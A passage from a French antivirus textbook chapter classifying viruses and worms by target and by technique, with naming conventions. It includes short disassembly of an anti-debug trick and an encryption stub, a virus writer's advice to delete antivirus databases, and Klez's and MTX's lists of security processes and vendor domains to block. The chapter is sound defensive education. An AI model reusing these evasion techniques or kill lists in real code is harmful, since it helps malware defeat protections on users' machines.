3.1.3 Virus programme Les virus programme cherchent à infecter les exécutables binaires compilés. Le principe de fonctionnement est le suivant : • le virus est présent dans un fichier exécutable, • après son exécution, le virus choisi et contamine – immédiatement ou sur critère différé – un ou plusieurs autres fichiers, • il agit généralement par ajout entraînant une augmentation de taille de l’hôte, • s’il se maintient résident, l’infection se poursuit lorsque d’autres fichiers sont appelés à l’exécution, ou simplement lors d’une manipulation. Jusqu’en 1999, la majorité des virus programmes fonctionnaient sous MS-DOS et ciblaient les fichiers exécutables liés à ce système d’exploitation. Déjà limitée à cette époque, la proportion des infections dues à ces virus n’a cessé de diminuer pour être presque inexistante aujourd’hui. Quelques virus ont aussi concerné les applications Windows 16 bits. Ces programmes, aussi appelés New Executable (NE EXE), se rencontraient dans les environnements Windows 3.x. Une trentaine d’entre eux ont été recensée. Leur diffusion fut également quasi nulle à l’exception de W16/Redteam@MM.
PAGET_Ch03 Page 93 Lundi, 11. avril 2005 5:24 17
93
3.1 Les virus par cibles
Ce sont actuellement les applications des diverses plates-formes Windows 32 bits qui sont attaquées. De par leur structure, elles sont aussi appelés Portable Executable (PE EXE). À l’opposé de leurs ancêtres, les virus qui les ciblent sont en très forte expansion. Tout comme leurs prédécesseurs, ils sont – ou non – résidents en mémoire. Toutes les fonctionnalités complexes des précurseurs ont été adaptées pour tenter de les rendre plus difficilement détectables. À l’origine, des CD-ROM de jeu furent la principale cause de leur diffusion. Aujourd’hui, ce sont généralement des vers. Leur diffusion se fait par la messagerie électronique, les disques partagés et les échanges de fichiers sur le modèle poste à poste. Des vulnérabilités au sein des protocoles de communication permettent aussi leur réplication au travers des réseaux publics ou privés. La toile Internet devient ainsi un support direct de transmission. Si elle existe, l’infection locale des fichiers n’est qu’une fonctionnalité complémentaire dont le but principal est de rendre l’élimination plus ardue. La WildList1, liste commune à nombre de chercheurs professionnels répertorie les principaux virus en activité (In-The-Wild). C’est à partir du dernier trimestre 1999, qu’elle commença à les citer fréquemment. On retrouve soulignés, dans la table suivante, ceux qui prédominaient à l’époque. La colonne date indique la première alerte. Tableau 3.2 — Liste des virus Windows cités dans la WildList (Liste Principale de septembre 1999) VIRUS
ALIAS
© Dunod – La photocopie non autorisée est un délit
W32/BEAST.41472.1
DATE 05/99
W32/EXPLOREZIP
WORM.EXPLOREZIP
06/99
W32/PRETTYPARK.A
PRETTY.WORM
06/99
W32/SKA.A
HAPPY99
03/99
W95/ANXIETY.1358
POPPY, W95/ANXIETY.A
11/97
W95/ANXIETY.1823
W95/ANXIETY.B
04/98
W95/CIH.1003
SPACEFILLER, CHERNOBYL
08/98
W95/CIH.1019.A
CIH.C
07/98
W95/FONO
W95/EL INCA.MP
12/98
W95/K32.3030
W95/HAZLO
01/99
W95/KENSTON.1895 W95/MARBURG.8590
05/99 W95/MARBURG.A
W95/PADANIA 1. http://www.wildlist.org/WildList/.
07/98 01/99
PAGET_Ch03 Page 94 Lundi, 11. avril 2005 5:24 17
94
Chapitre 3. Notions fondamentales
Rare en septembre 1999, les virus programme les plus courants sont aujourd’hui des mass-mailers. La Wildlist les caractérisent par le suffixe -mm (au lieu de @MM). Elle n’émet pas de table de prévalence mais indique, chaque mois, ceux qui sont le plus fréquemment annoncés. En février 2004, 46 virus étaient cités par plus de 15 reporters. On y retrouvait : • • • •
35 mass-mailers – virus programme, type W32. 6 virus conventionnels – virus programme, type W95/W32. 4 vers Internet – virus programme, type W32. 1 mass-mailer – virus de script – VBS.
Cinq mois plus tard, en juillet, ce chiffre passait à 60 avec : • • • •
51 mass-mailers – virus programme, type W32. 6 virus conventionnels – virus programme, type W95/W32. 2 vers Internet – virus programme, type W32. 1 mass-mailer – virus de script – VBS.
En décembre 2004, les mass-mailers sont au nombre de 53, avec parmi eux : • 15 variantes de W32/Netsky@MM. • 14 variantes de W32/Bagle@MM. • 6 variantes de W32/Mydoom@MM. Pour être complet, il nous faut citer les applicatifs IBM-OS/2 (LE – Linear Executable), UNIX like (ELF – Executable Linkable Format) et Macintosh. Quelques virus existent également dans ces environnements comme nous le verrons au paragraphe 3.5.
3.2 LES VERS PAR TYPES 3.2.1 Vers ou virus Comme nous avons eu l’occasion de le signaler en fin du premier chapitre, la communauté anti-virale est partagée quant à l’affiliation des vers informatiques dans la grande famille virale. Une minorité de chercheurs différencient la duplication et la propagation. Ils considèrent qu’un ver est un programme autonome pouvant se dupliquer de lui-même alors que le virus a besoin d’une intervention humaine pour se propager et infecter ainsi un élément jusqu’alors sain. La notion de réseau n’est plus suffisante, il faut lui associer un concept d’autonomie. Pour ces scientifiques, ces vers ne sont pas une sous-famille des virus mais une branche à part.
PAGET_Ch03 Page 95 Lundi, 11. avril 2005 5:24 17
3.2 Les vers par types
95
Dans ce livre, j’ai pris le parti pris de considérer les vers comme un sous-ensemble des virus. Dès qu’ils se propagent au travers d’un réseau avec ou sans intervention humaine, ils sont classifiés comme vers. Pour la fluidité du texte, j’utilise donc régulièrement le terme virus lorsque je traite d’un ver. Pour argumenter en faveur de cette idée, attardons-nous sur la définition suivante : « Un virus, lorsqu’il est exécuté, construit des copies de lui-même et les greffent aux programmes qu’il cible. Si le virus est résident en mémoire, tout programme manipulé répondant aux critères d’infection est à son tour infecté. Lorsqu’il est nonrésident – de par sa nature ou suite à un transfert manuel vers une autre machine – il faudra attendre son exécution pour que se réitère le processus et que le cycle se poursuive. » Une telle entité se contente d’un environnement mono utilisateur et mono tâche. Sur un unique ordinateur, il est capable d’infecter plus ou moins rapidement toutes les applications qu’il rencontrera. Son transfert vers une autre machine nécessite une intervention humaine tel que : • l’envoi par messagerie en pièce jointe, • l’échange via disquette ou CD-ROM, • la copie au travers d’un serveur de fichiers. Un environnement multi utilisateurs et multi-tâches est nécessaire à la propagation du ver. Il est pourtant possible de reprendre la structure de la définition ci-dessus :
© Dunod – La photocopie non autorisée est un délit
« Un ver, lorsqu’il est exécuté, construit des copies de lui-même et les greffent aux ordinateurs qu’il cible. Si le ver est résident en mémoire, tout ordinateur rencontré répondant aux critères d’infection est à son tour infecté. Lorsqu’il est nonrésident – de par sa nature ou suite à un transfert manuel vers une autre machine – il faudra attendre son exécution pour que se réitère le processus et que le cycle se poursuive. » Ces deux définitions n’en font plus qu’une si l’on généralise la cible. Nous écrivons alors : « Un [virus – ver], lorsqu’il est exécuté, construit des copies de lui-même et les greffent aux éléments qu’il cible. Si le [virus – ver] est résident en mémoire, tout élément rencontré répondant aux critères d’infection est à son tour infecté. Lorsqu’il est non-résident – de par sa nature ou suite à un transfert manuel vers une autre machine – il faudra attendre son exécution pour que se réitère le processus et que le cycle se poursuive. » C’est cette troisième définition qui m’amène à regrouper vers et virus dans une même famille. Mais, quittons maintenant cet argumentaire doctrinal pour nous attacher à découvrir les différents types de vers.
PAGET_Ch03 Page 96 Lundi, 11. avril 2005 5:24 17
96
Chapitre 3. Notions fondamentales
3.2.2 Vers de disquettes L’infection démarre de manière conventionnelle. L’utilisateur exécute par mégarde le ver qu’il a de lui-même téléchargé ou qui lui a été retransmis d’une manière quelconque. À cet instant, il se copie généralement sous un nom d’emprunt dans un répertoire du disque dur. Si une disquette est présente, il se recopie également sur le lecteur A: dans l’espoir d’atteindre plus tard un autre PC. Ces vers peuvent être plus ou moins sophistiqués. Certains sont résidents en mémoire et analysent en temps réel l’activité du lecteur de disquette pour se dupliquer immédiatement vers celui-ci à chaque changement de média. D’autres sont non-résidents et font confiance au nom d’emprunt qu’ils utilisent pour espérer être ouvert de temps à autre et eux aussi se propager. W32/Hayque.worm est un ver récent (février 2002). Il se recopie dans les lecteurs A: et C: sous le nom de NA.EXE. L’ajout d’une entrée dans le fichier WIN.INI lui permet de s’exécuter à chaque redémarrage du système. Ce type de propagation ne date cependant pas d’aujourd’hui. HLLW.Idomoshe.6896, découvert en juillet 1993, crée un fichier intitulé VIRDEMO.EXE dans tous les répertoires racines des disques qu’il peut atteindre. Sur la disquette, il crée un fichier AUTOEXEC.BAT en espérant pouvoir ainsi être lancé lors d’un démarrage.
3.2.3 Vers de réseaux locaux Il est facile de franchir le pas entre disques locaux (physiques ou logiques) et disques réseaux. La technique des vers de disquettes peut aisement s’étendre à l’ensemble des disques partagés ou partageables. Dans ce cas, l’infection se déroule généralement de la manière suivante : • • • • •
Recherche de disques accessibles. Affectation de noms de lecteurs (mapping). Copie du ver. Paramétrage pour son lancement. Exécution.
Dans de nombreux cas l’exécution est différée. Dans les cas les plus simples, elle reste dépendante du bon vouloir d’un utilisateur, qui, comme dans le cas précédent, lancera lui-même le programme pour satisfaire sa curiosité. Le ver peut aussi chercher à se recopier dans un répertoire de démarrage. Il peut également tenter de trouver un fichier de paramétrage sur le disque distant pour le modifier de sorte à s’exécuter le moment venu. Dans cette famille, VBS/Netlog découvert en février 2002 est intéressant à analyser.
PAGET_Ch03 Page 97 Lundi, 11. avril 2005 5:24 17
97
3.2 Les vers par types
Lors de son exécution, le virus recherche tout d’abord la présence d’un fichier c:\network.log. Si ce fichier est trouvé, il est immédiatement détruit et recréé pour contenir une adresse IP aléatoire du type : [Bloc1.Bloc2.Bloc3.Bloc4], avec Bloc1 = Nombre aléatoire entre 199 et 214 Bloc2 = Nombre aléatoire entre 1 et 254 Bloc3 = Nombre aléatoire entre 1 et 254 Bloc4 = 0 Log file Open Subnet : 201.144.19.0 Figure 3.3 — Exemple de fichier network.log
Le ver utilise alors ce masque de sous réseau pour interroger tour à tour les 255 adresses. Pour chacune d’entre elles, il tente de projeter le lecteur C: distant sur le lecteur local J:. En cas d’échec, lorsque toutes les adresses du sous réseau ont été essayées, il crée une autre famille d’adresses au hasard, et continue sa quête. Si la projection réussie, le ver essaie de se copier dans le répertoire racine du disque virtuel puis dans des répertoires prédéfinis ciblant principalement le groupe de démarrage.
3.2.4 Vers de messagerie
© Dunod – La photocopie non autorisée est un délit
La notion de mass-mailer (expéditeur rapide) est apparue avec W97M/ Melissa.A@MM. À l’exception des virus système, les différentes autres familles en renferment. Dans une courte période de temps, ils expédient un nombre impressionnant de mails et se reconnaissent par le suffixe @MM. Un autre groupe les complètent, ce sont les expéditeurs lents, avec le suffixe @M. Ils expédient un courrier électronique vers un seul correspondant chaque fois que l’utilisateur en fait de même. Dans la conversation courante, le terme de mass-mailer est improprement attribué aux expéditeurs rapides et aux expéditeurs lents ; ce sera généralement le cas dans ce livre. Les termes de slow mass-mailer et fast mass-mailer sont parfois employés en anglais pour les différencier. Ces suffixes ont été créés pour en faciliter la reconnaissance et aider à une meilleure réactivité. En cas d’alerte, ce signe visible doit permettre une prise de décision immédiate sans passage préalable à un site encyclopédique. Ces quelques minutes gagnées sur la mise à jour d’un produit ou l’isolement d’une zone contaminée peuvent éviter l’émission de millions de mails infectés.
PAGET_Ch03 Page 98 Lundi, 11. avril 2005 5:24 17
98
Chapitre 3. Notions fondamentales
Tableau 3.3 — Quelques mass-mailers VIRUS TYPES
LE PREMIER…
DATE
VBScript
VBS/FreeLink@MMa
07/99
PE (W95 / W32)
W95/Parvo@MMb
12/98
W97M (VBA)
W97M/AntiMarc@MM
09/98
X97M (VBA)
X97M/Papa.B@MMc
04/99
O97M (VBA)
O97M/Cybernet.A@MM
05/00
WM (WordBasic)
WM/Sharefun.A@MMd
02/97
JavaScript
JS/TheFly.A@MM
12/99
JavaScript (sans attachement)
JS/Kak@Me
10/99
WIN-311
W16/RedTeam@MMf
01/98
COM / EXE
HLLT/Toadie.6585@MM
08/99
PIF
PIF/Fable@MM
10/00
MAC
MAC/Simpsons@MM
06/01
a. SVAJCER Vanja, 1999, Freelinks To Infection, Virus Bulletin. Novembre 1999 – pp 6-7. b. SZOR Peter, 1999b, Parvo – One Sick Puppy?, Virus Bulletin. Janvier 1999 – pp 7-9. c. RAIU Costin, 1999, Papa Don’t Preach, Virus Bulletin. Juin 1999 – pp 8-9. d. VB, 1997b, Share and Share Alike, Virus Bulletin. Avril 1997 – pp 10-11. e. SVAJCER Vanja, 2000, Kak-astrophic?, Virus Bulletin. Mars 2000 – p 7. f. GORDON Sarah, PERRIOT Frédéric, 1998, Caught Red-handed, Virus Bulletin. May 1998. pp 6-8.
Le premier expéditeur de mails mondialement connu fut W32/Ska@M (alias HAPPY99). Il remonte date de 1999. Nous l’avons longuement abordé dans le chapitre historique. C’est néanmoins en 1997 et 1998 que les premières expériences furent tentées. Les cibles choisies montrent que ce nouvel engouement intéressait de nombreux auteurs. La propagation se fit d’abord par le biais d’une messagerie ciblée. Les macrovirus et les virus de script détournaient généralement la fonction d’émission d’Outlook ou d’Outlook Express. Ces messageries courantes furent longtemps les plus touchées. Les virus interprétés ont ensuite laissé la place aux virus programme rendant la menace globale. Ils ont, dans un premier temps, détournés les fonctions des librairies Windows (WSOCK32.DLL, RASAPI32.DLL) ; ils s’attaquaient directement au protocole SMTP. En 2004, ils utilisent leur propre moteur SMTP (exemple W32/Dumaru@MM) et s’affranchissent du logiciel de messagerie de l’ordinateur infecté. De même, les desti-
PAGET_Ch03 Page 99 Lundi, 11. avril 2005 5:24 17
3.2 Les vers par types
99
nataires ne sont plus uniquement recherchés dans les carnets d’adresses mais dans toute sorte de fichiers. Un ordinateur connecté à l’Internet sans outil de messagerie devient ainsi un émetteur potentiel.
3.2.5 Vers en mode poste à poste La technologie d’échange de fichiers en mode poste à poste (peer to peer) permet à deux ordinateurs reliés à Internet de communiquer directement l’un avec l’autre sans passer par un serveur central qui redistribue les données. Le poste à poste s’oppose au modèle client-serveur. L’internaute installe sur sa machine un programme qui lui permet de mettre à la disposition d’autres internautes un espace de son disque dur dans lequel il place l’ensemble des fichiers qu’il est disposé à échanger. Avec ce type d’échanges, on se sert directement dans le disque dur de son correspondant, et c’est souvent l’attrait du nom du fichier qui provoque l’échange. Les virus en profitent, ils reprennent des intitulés musicaux ou filmographiques et leurs affectent une extension exécutable lors d’un double-clic. En mai 2002, le premier ver utilisant avec succès ce moyen de propagation fut baptisé du nom de W32/Benjamin.worm. Pour qu’il se propage, de nombreuses copies du ver étaient placées dans le dossier de téléchargement utilisé par KaZaA. Afin d’attirer l’attention, les noms retenus correspondaient à des titres de chansons, de films, de jeux informatiques ou de fichiers à caractère pornographique. Plus de cent noms différents étaient susceptibles d’être utilisés dont à titre d’exemple :
© Dunod – La photocopie non autorisée est un délit
• • • • • •
metallica – stairway to heaven. acdc – hard as a rock. Sex Archive. FIFA 2001 –full –downloader. Johann Sebastian Bach – Brandenburg Concerto No 4. American Pie 2 -divx-full-downloader.
Pour éviter l’attention, ces noms finissaient par un nombre d’espaces important puis une extension .exe ou .scr. KaZaA n’a pas toujours été la seule cible. En 2000 et 2001 quelques tentatives isolées ont touchées Gnutella (VBS/GWV.A, W32/Gnuman.worm). En 2002, des dizaines de vers ciblant KaZaA et/ou Morpheus sont apparus (exemple W32/Kazmor.worm en juin 2002). Aujourd’hui, tous les logiciels de ce type semblent vulnérables, même les plus ésotériques. Outre le courrier électronique et les IRC, un virus tel que W32/Fourseman.G@MM (juin 2003) est programmé pour se propager avec : • Bearshare. • eDonkey. • eMule.
PAGET_Ch03 Page 100 Lundi, 11. avril 2005 5:24 17
100
Chapitre 3. Notions fondamentales
• • • • • •
Grokster. KaZaa Media Desktop. LimeWire. Morpheus. Overnet. Applejuice.
De son côté, W32/Auric@MM (mai 2003) s’attaque à : • • • • • • • •
Bearshare. Edonkey. Gnucleus. Grokster. Kazaa. Limewire. Morpheus. Shareaza.
3.2.6 Vers de l’Internet C’est dans cet univers que sévissent les vers automatiques. Créés grâce à une parfaite connaissance de l’environnement réseau ils s’attaquent aussi aux serveurs. Tout débute par l’exploitation d’une vulnérabilité. Celle ci est généralement connue mais comme de nombreuses machines n’ont pas les correctifs appliqués, le nombre des serveurs vulnérables est suffisant pour une forte propagation. Sans intervention humaine elle dépasse en rapidité celle des vers de messagerie. Avec W32/Codered.A.worm il s’agit d’un problème de dépassement de capacité de la mémoire tampon sur des serveurs IIS non patchés. Le ver est apparu le 17 juillet 2001, le correctif1 était disponible depuis le 18 juin de cette même année. Il en fut de même avec W32/SQLSlammer.worm, le 25 janvier 2003. La faille touchant les serveurs SQL, le patch de sécurité2 était connu depuis 6 mois. Dans ces deux exemples, aucun code viral n’est écrit sur le disque dur. La propagation se fait exclusivement en mémoire vive et la rapidité en est le point fort. En 2003, le taux de propagation de Slammer doublait toutes les 8,5 secondes. En 2001, celui de CodeRed doublait toutes les 37 minutes et la majorité de ses cibles potentielles furent atteintes en 20 heures (10 minutes pour Slammer).
1. MS01-033 : Unchecked Buffer in Index Server ISAPI Extension Could Enable Web Server Compromise. 2. MS02-039 : Buffer Overruns in SQL Server 2000 Resolution Service Could Enable Code Execution.
PAGET_Ch03 Page 101 Lundi, 11. avril 2005 5:24 17
101
3.3 Les virus/vers par fonctionnalité
Cette différence s’explique par deux modes de fonctionnement distincts : • W32/CodeRed.A.worm transmet des paquets TCP-SYN : à l’époque, sa propagation fut limitée par le temps de latence nécessaire avant que n’arrivent les réponses de la cible. • W32/SQLSlammer.worm se limite à un seul paquet UDP. Il n’attend aucune trame en retour. C’est la bande passante disponible qui limita sa vitesse de propagation.
3.3 LES VIRUS/VERS PAR FONCTIONNALITÉ Même s’ils appartiennent à des familles différentes de par leur cible, les virus et les vers peuvent avoir des caractéristiques communes. Celles ci sont généralement liées à des techniques de protection ou de camouflage.
3.3.1 Anti-debugging
© Dunod – La photocopie non autorisée est un délit
Il s’agit d’une technique de protection contre les logiciels et les routines permettant de déboguer1 un programme. Elle cherche à interdire l’exécution du code en mode pas à pas. Les instructions anti-debug cherchent à stopper les routines d’émulation des anti-virus. Plus généralement elles tentent d’interférer avec les débogueurs qui fonctionnent en ring 3 (mode utilisateur). 0040106D 00401072 00401074 00401076 00401077 00401079 0040107B 0040107C suite: 0040107C
call or jns cli not not sti
GetVersion eax, eax short suite
call
install_worm
esp esp
; Récupération version de l’OS ; ; ; ; ;
Saut si Windows NT \ Anti debugging. /
; Installation du vers
Figure 3.4 — Exemple de technique anti-debug (ver W32/Kelino – février 2002)
3.3.2 Du cryptage au metamorphisme Pour espérer tromper les scanners anti-virus fonctionnant uniquement par recherche de signature, les auteurs de virus envisagèrent tout d’abord de crypter leur code.
1. Possibilité d’exécuter en mode pas à pas un programme.
PAGET_Ch03 Page 102 Lundi, 11. avril 2005 5:24 17
102
Chapitre 3. Notions fondamentales
Apparu en 1987, cette technique permet à un unique virus de produire des copies variées, mais opérationnelles, de lui-même. En mémoire, le code viral reste généralement présent en clair ; il fait l’objet d’un auto-cryptage avec une clé variable dès qu’il s’agit d’infecter un fichier et d’en sauvegarder son code sur le disque. La routine de décryptage étant constante – à l’exception des valeurs passées en paramètre – la technique ne resta pas longtemps un obstacle à la détection. Une étude du code permet d’isoler des éléments du moteur de décryptage pour les utiliser comme chaîne de recherche initiale. Les chercheurs ont maintenant développé des techniques d’émulation permettant un décryptage virtuel en milieu clos. Elles permettent une différentiation des variantes et la réparation des fichiers. Dans l’exemple ci-dessous (virus W32/BlackBat – année 2003), seule la clé de décryptage (ici BAh) est variable. Les neuf premières instructions sont constantes. Associées à quelques autres paramètres structurels, elles sont suffisantes pour indiquer avec certitude la présence du virus. 406000: 406005: 406006: 406009: 40600E: 406011: 406012: 406013: 406015: 406016: 40601C: 406021: 406026: 40602B:
E800000000 5A 83C210 BE220A0000 8032BA 42 4E 75F9 53 DBBBBABABABA BABAEFE9FF E88988BA9E BABABA8ABA BABABA9A25
call pop add mov xor inc dec jne push
406005 edx edx,010 (début du décryptage) esi,000000A22 (octets à décrypter) b,[edx],0BA (clé de décryptage) edx esi 40600E ebx (début du code crypté)
Figure 3.5 — W32/BlackBat – une forme de cryptage basique
Plus complexe que les précédents, les décrypteurs oligomorphiques peuvent prendre un nombre limité de formes. En 1996, le virus programme Ply s’est basé sur cette technique. Considérant que les opcodes1 d’Intel sont variables dans la taille, l’auteur regroupa les instructions par séquences de 3 octets. Celles qui n’en contenaient qu’un ou deux étaient encadrées de code inutile (nop). Elles étaient ensuite liées, ou non, par des sauts (jump ou call).
1. Élément déterminant d’une instruction en assembleur qui la définit et la différencie sans ambiguïté. Il s’agit souvent du premier ou des deux premiers octets (code hexadécimal) d’une instruction.
PAGET_Ch03 Page 103 Lundi, 11. avril 2005 5:24 17
3.3 Les virus/vers par fonctionnalité
103
Figure 3.6 — Code oligomorphique (virus Ply.3759.A)
La détection est ici plus difficile, mais, même si elles sont positionnées à des endroits variables, certaines instructions se retrouvent systématiquement dans une zone proche du point d’entrée. Leur présence est suffisante pour une détection fiable.
© Dunod – La photocopie non autorisée est un délit
La polymorphie est une forme évoluée de cryptage oligomorphique. Dans ce cas, le code n’a aucune partie constante. Le décryptage est généré par un moteur polymorphique lui-même crypté par la routine qu’il génère. Une fois décryptée et sortie de son enveloppe, la résultante est néanmoins constante. La détection nécessite ici un long travail de recherche. L’étude du code et les incidences du virus sur des fichiers infectés connus (des appâts) permet l’établissement d’un premier faisceau de présomptions. Si celles ci sont réunies, le code maintenant suspect est considéré par l’anti-virus comme une routine bouclant sur ellemême jusqu’à la fin du processus de décryptage. Il est alors émulé – selon des règles prédéfinies lors de l’étude préalable – jusqu’à ce qui est supposé être son terme. Si le résultat obtenu correspond au virus recherché l’alarme est donnée et l’éradication envisagée. Plutôt que de camoufler le code viral en y ajoutant, comme une surcouche, un moteur de décryptage ou une routine polymorphe, le métamorphisme consiste à faire varier le code du virus lui-même et non plus seulement son enveloppe. Le premier virus ayant tenté cette méthode fut W32/Apparition. Il transportait avec lui son propre code source et le recompilait en y insérant quelques codes superflus dès qu’il rencontrait une machine contenant un compilateur approprié.
PAGET_Ch03 Page 104 Lundi, 11. avril 2005 5:24 17
104
Chapitre 3. Notions fondamentales
3.3.3 Virus défensif – Retro-virus Dès l’apparition des premiers virus, leurs auteurs tentèrent de leur associer des fonctionnalités anti-anti-virus. Il s’agit d’un type particulier de charge finale (payload) qui ne rend pas pour autant le virus plus dangereux sur une station correctement protégée. Si une déficience quelconque a permis au virus de s’installer, celui ci cherche à stopper des processus liés aux produits de sécurité qu’il rencontre. Il s’agit généralement du pare-feu ou de l’anti-virus. Il en résultera des difficultés supplémentaires lorsqu’il s’agira d’éliminer l’intrus et de mettre à jour le produit dont le fonctionnement est maintenant altéré. Mikko Hypponen cite de nombreux exemples de rétro-virus apparus dans les années 19901, parmi ceux ci, citons : • • • • • • • • • • •
famille CPW (1993). Cybertech. Firefly. Goldbug. Lemming. famille Lockjaw. November_17th.890. Satanbug. Tequila (1991). Tremor (1993). Varicella.
Pour le virus, la première méthode, et la plus simple, est l’effacement des fichiers liés à un produit anti-virus. En 1993, CPW.1527 (alias Chile Mediera) détruisait les fichiers répondant au masque : GUARD guard CPAV SCAN CHKVIRUS CLEAN TOOLKIT VSAFE CHKLIST.CPS
Plus près de nous, l’auteur de virus connu sous le pseudonyme de Benny (groupe 29A) proposait une liste de fichiers importants qu’il lui semblait bon de cibler. Cette liste fut reprise de nombreuses fois. W32/Dengue écrit par un autre membre de 29A (GriYo) intégra cette liste.
1. HYPPONEN, Mikko (1994), Retroviruses – how viruses fight back, Document disponible à l’adresse : http://www.hypponen.com/staff/hermanni/more/papers/retro.htm.
PAGET_Ch03 Page 105 Lundi, 11. avril 2005 5:24 17
105
3.3 Les virus/vers par fonctionnalité
Anti-Antivirus – destroy your enemy! If u wanna be sure, that stupid user won’t find your virus, then correct that "problem" on AV side – erase or modify AV crc files and AV databases. Here r the most important files, which should be erased (mm, but don’t forget that after u delete viral database, AV won’t run) or in better case – only modified (e.g. delete virus from database): *.AVC – AVP viral database AVP.CRC – AVP crc file *.VDB – DrWeb viral database NOD32.000 – NODICE viral database ANTI-VIR.DAT – TBAV crc file CHKLIST.MS – MSAV crc file + some other old AV crc files Figure 3.7 — Un texte de Benny/29A1
La méthode la plus efficace pour un rétro-virus est sans conteste la désactivation du module résident. Elle fut inaugurée en 1993 par un allemand au pseudo de Neurobasher. Son virus, Tremor, était en effet capable de désactiver le module résident de VSAFE (Central Point Anti-Virus) et de modifier son emplacement en mémoire si FPROT est lancé. Cette méthode est toujours très employée actuellement. Des variantes de W32/ Yaha@MM, W32/Klez@MM ou encore W32/Lirva@MM tentent de stopper nombre de processus liés aux anti-virus actuels. Là aussi, la réussite ne pourra aboutir que face à un produit non à jour et incapable de détecter le virus à son arrivée.
© Dunod – La photocopie non autorisée est un délit
Tentative d’arrêt des services suivant :
_AVP32 NRESQ32 NAV NAVRUNR AMON N32SCANW AVGCTRL F-STOPW VET95 AVPTC DVP95 SCAN Mcafee
_AVPCC NSCHED32 NAVAPSVC NAVW32 AVP32 NAVWNT AVWIN95 F-PROT95 SWEEP95 AVE32 F-AGNT95 VIRUS Antivir
NOD32 NSCHEDNT NAVAPW32 _AVPM AVPCC ANTIVIR SCAN32 ACKWIN32 PCCWIN98 AVCONSOL CLAW95 LOCKDOWN2000
Figure 3.8 — Les cibles de W32/Klez.h@MM
1. BENNY (1999), Document disponible à l’adresse : http://www.tlsecurity.net/Textware/Virus/anti4win.html.
NPSSVC NSPLUGIN NAVLU32 ALERTSVC AVPM AVPUPD VSHWIN32 VETTRAY IOMON98 FP-WIN NVC95 Norton
PAGET_Ch03 Page 106 Lundi, 11. avril 2005 5:24 17
106
Chapitre 3. Notions fondamentales
Citons pour terminer deux autres méthodes rencontrées : • Destruction de codes de validation : Tequila et Satanbug s’attaquaient à ceux de VirusScan en 1991. Ils supprimaient les 10 octets complémentaires que le produit ajoutait aux exécutables qu’il contrôlait. Peach.887 ciblait Central Point Anti-Virus. • Interdiction de rejoindre certains sites Internet afin d’empêcher les mises à jour. En 2000, W95/MTX empêchait également l’envoi de mails vers certaines destinations liées à la lutte anti-virale. Interdiction de rejoindre les domaines contenant les chaînes de caractères :
nii. pand lywa
nai. soph tbav
avp. ndmi yman
f-se afee
mapl yenn
Interdiction d’envoyer des mails vers les domaines :
wildlist.o* complex.is* metro.ch* pandasoftw* comkom.co.* cellco.com* inforamp.n* bmcd.com.a* sophos.com* f-secure.c*
il.esafe.c* HiServ.com* beyond.com* earthlink.* meditrade.* symantec.c* newell.com* bca.com.nz* maple.com.*
perfectsup* hiserv.com* mcafee.com* inexar.com* mabex.com * successful* singnet.co* trendmicro* netsales.n*
Figure 3.9 — Les cibles de W95/MTX
3.3.4 Furtivité C’est une technique de camouflage. Elle est apparue avec les premiers virus système. L’auteur de Tequila avait remarqué qu’au démarrage de la machine, le secteur de partition était exécuté avant l’intervention de tout logiciel anti-virus. Il imagina alors une routine permettant de renvoyer vers l’anti-virus (et vers tout utilisateur la réclamant) une l’image du secteur original. Le secteur infecté devenait ainsi invisible. Tequila s’attaquait aussi aux exécutables. Il ajoutait 2468 octets à chaque fichier infecté. Cette augmentation de taille était dissimulée à tous les programmes utilisant les appels DOS (interruptions du DOS 11h/12h et 4Eh/4Fh). Le virus était ainsi plus difficile à voir : une commande dir renvoyait une valeur initiale du fichier obtenue en soustrayant à la valeur actuelle la taille du virus. Ces techniques étaient cependant souvent imparfaites. En milieu infecté, alors que la commande chkdsk renvoyait une information erronée laissant supposer une
PAGET_Ch03 Page 107 Lundi, 11. avril 2005 5:24 17
3.4 La classification des virus
107
mémoire disponible non altérée (655.360 octets), il suffisait de renommer ce fichier, puis de l’exécuter à nouveau, pour voir l’information réelle apparaître. Aujourd’hui, ces procédés anciens sont dépassés, les techniques actuelles de furtivité consistent à rendre invisible le processus chargé en mémoire ou encore la présence du fichier. C’est le cas pour le ver W32/Maddis.worm dans les environnements W2000 et XP.
3.3.5 Infecteur rapide Une fois en mémoire, un infecteur rapide est un virus qui infecte non seulement les programmes qui sont exécutés, mais également ceux qui sont simplement manipulés ou ouverts. Un anti-virus non à jour ou un vérificateur d’intégrité peut ainsi aider à la programmation massive d’un virus si celui ci n’est pas détecté au moment du lancement du programme. Par le passé, le virus Frodo fut un exemple célèbre. Citons plus près de nous, le virus W95/CIH.
3.3.6 Cocktail En anglais, blended threat désigne un fichier infecté par plusieurs virus. Selon sa configuration, votre anti-virus sera, ou non, à même de vous indiquer cette double, voire triple infection.
3.4 LA CLASSIFICATION DES VIRUS
© Dunod – La photocopie non autorisée est un délit
Le public s’interroge souvent sur nos manières de dénommer les nouveaux virus. Il est également souvent dérouté devant les divers préfixes et suffixes qui encadrent ces noms. De nombreuses informations codifiées sont en effet présentes de part et d’autre du nom simplifié souvent repris par les médias. Le décryptage de la dénomination complète d’un virus peut donc apporter de précieuses informations quant à ses caractéristiques. C’est pourquoi nous allons ici en expliquer les détails. Ce long paragraphe permettra également d’appréhender certaines familles virales peu connues qui n’ont pas fait jusqu’ici l’objet d’une présentation.
3.4.1 Les virus de première génération L’un des seuls documents officiels tentant de définir des standards de dénomination date de 1991. Ce document émane du CARO (Computer Antivirus Research Organization). Il a été diffusé en 1993 par Vesselin Bontchev et Fridrik Skulason. À cette époque, les macro-virus et les virus ciblant les environnements Windows n’existaient pas. On ne rencontrait que des virus programmes MS-DOS et des virus système.
PAGET_Ch03 Page 108 Lundi, 11. avril 2005 5:24 17
108
Chapitre 3. Notions fondamentales
Ce document n’a jamais fait l’unanimité et de nombreux éditeurs ne l’ont utilisé que partiellement. Il propose un nom en quatre parties délimitées par des points. Un cinquième élément, totalement optionnel, est désigné sous le nom de singularité. Il débute par deux points. Certaines parties peuvent être absentes. Le format général est le suivant : ... [:Singularité ]
